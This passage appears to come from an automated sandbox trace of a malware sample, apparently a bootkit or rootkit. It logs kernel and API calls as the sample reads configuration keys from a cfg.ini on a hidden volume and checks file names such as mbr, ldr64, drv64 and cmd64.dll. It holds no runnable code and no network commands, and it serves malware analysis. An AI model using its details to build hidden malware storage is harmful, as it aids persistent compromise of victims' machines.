_snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.654] KeEnterCriticalRegion () [0118.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.654] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.654] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.654] KeLeaveCriticalRegion () [0118.654] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.654] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.654] KeEnterCriticalRegion () [0118.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.654] ExFreePoolWithTag (P=0xfffffa8003ba1370, Tag=0x0) [0118.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.654] KeLeaveCriticalRegion () [0118.654] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.654] ReleaseMutex (hMutex=0xf0) returned 1 [0118.654] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.654] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.654] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.654] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.654] KeEnterCriticalRegion () [0118.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.655] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.655] IdePortDispatch () returned 0x103 [0118.655] KeWaitForMutexObject () returned 0x0 [0118.655] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.655] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.655] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.655] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.655] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.655] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.655] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.655] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.655] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.655] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.655] KeLeaveCriticalRegion () [0118.655] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.655] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.655] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.655] KeEnterCriticalRegion () [0118.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.656] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.656] IdePortDispatch () returned 0x103 [0118.656] KeWaitForMutexObject () returned 0x0 [0118.656] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.656] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.656] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.656] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.656] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.656] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.656] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.656] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.656] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.656] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.656] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.656] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.656] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.656] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.656] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.656] KeLeaveCriticalRegion () [0118.656] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.656] ReleaseMutex (hMutex=0x100) returned 1 [0118.656] Sleep (dwMilliseconds=0x2bf20) [0118.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69ed9370, dwHighDateTime=0x1d24fa4)) [0118.665] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.665] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.665] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.665] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.665] KeEnterCriticalRegion () [0118.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.665] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.665] IdePortDispatch () returned 0x103 [0118.666] KeWaitForMutexObject () returned 0x0 [0118.666] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.666] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.666] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.666] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.666] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.666] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ba1370 [0118.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.666] KeLeaveCriticalRegion () [0118.666] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.666] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.666] KeEnterCriticalRegion () [0118.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.666] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.666] KeLeaveCriticalRegion () [0118.666] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.666] KeEnterCriticalRegion () [0118.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.666] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.666] IdePortDispatch () returned 0x103 [0118.667] KeWaitForMutexObject () returned 0x0 [0118.667] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.667] KeLeaveCriticalRegion () [0118.667] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.667] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.667] KeEnterCriticalRegion () [0118.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.667] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352c000 [0118.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.667] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.667] IdePortDispatch () returned 0x103 [0118.667] KeWaitForMutexObject () returned 0x0 [0118.667] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.667] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.667] IdePortDispatch () returned 0x103 [0118.668] KeWaitForMutexObject () returned 0x0 [0118.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.668] KeLeaveCriticalRegion () [0118.668] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.668] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.668] KeEnterCriticalRegion () [0118.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.668] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.668] KeLeaveCriticalRegion () [0118.669] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.669] KeEnterCriticalRegion () [0118.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.669] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.669] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa7370, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.669] KeLeaveCriticalRegion () [0118.669] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.669] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.669] KeEnterCriticalRegion () [0118.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.669] ExFreePoolWithTag (P=0xfffffa8003ba1370, Tag=0x0) [0118.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.669] KeLeaveCriticalRegion () [0118.669] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.669] ReleaseMutex (hMutex=0xf0) returned 1 [0118.669] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.669] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.669] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.669] KeEnterCriticalRegion () [0118.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.669] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.669] IdePortDispatch () returned 0x103 [0118.670] KeWaitForMutexObject () returned 0x0 [0118.670] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.670] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.670] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.670] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.670] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.670] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5e10 [0118.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.670] KeLeaveCriticalRegion () [0118.670] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.670] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.670] KeEnterCriticalRegion () [0118.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.670] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.670] KeLeaveCriticalRegion () [0118.670] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.670] KeEnterCriticalRegion () [0118.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.670] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.670] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.670] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.670] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.670] IdePortDispatch () returned 0x103 [0118.671] KeWaitForMutexObject () returned 0x0 [0118.671] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.671] KeLeaveCriticalRegion () [0118.671] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.671] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.671] KeEnterCriticalRegion () [0118.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.671] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352d000 [0118.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.671] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.671] IdePortDispatch () returned 0x103 [0118.671] KeWaitForMutexObject () returned 0x0 [0118.671] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.671] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.671] IdePortDispatch () returned 0x103 [0118.672] KeWaitForMutexObject () returned 0x0 [0118.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.672] KeLeaveCriticalRegion () [0118.672] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.672] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.672] KeEnterCriticalRegion () [0118.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.672] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.672] KeLeaveCriticalRegion () [0118.673] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.673] KeEnterCriticalRegion () [0118.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.673] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.673] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c5ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.673] KeLeaveCriticalRegion () [0118.673] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.673] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.673] KeEnterCriticalRegion () [0118.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.673] ExFreePoolWithTag (P=0xfffffa80039c5e10, Tag=0x0) [0118.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.673] KeLeaveCriticalRegion () [0118.673] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.673] ReleaseMutex (hMutex=0xf0) returned 1 [0118.673] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.673] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.673] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.673] KeEnterCriticalRegion () [0118.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.673] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.673] IdePortDispatch () returned 0x103 [0118.674] KeWaitForMutexObject () returned 0x0 [0118.675] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.675] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.675] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.675] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.675] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.675] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003af8620 [0118.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.675] KeLeaveCriticalRegion () [0118.675] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.675] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.675] KeEnterCriticalRegion () [0118.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.675] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.675] KeLeaveCriticalRegion () [0118.675] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.675] KeEnterCriticalRegion () [0118.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: 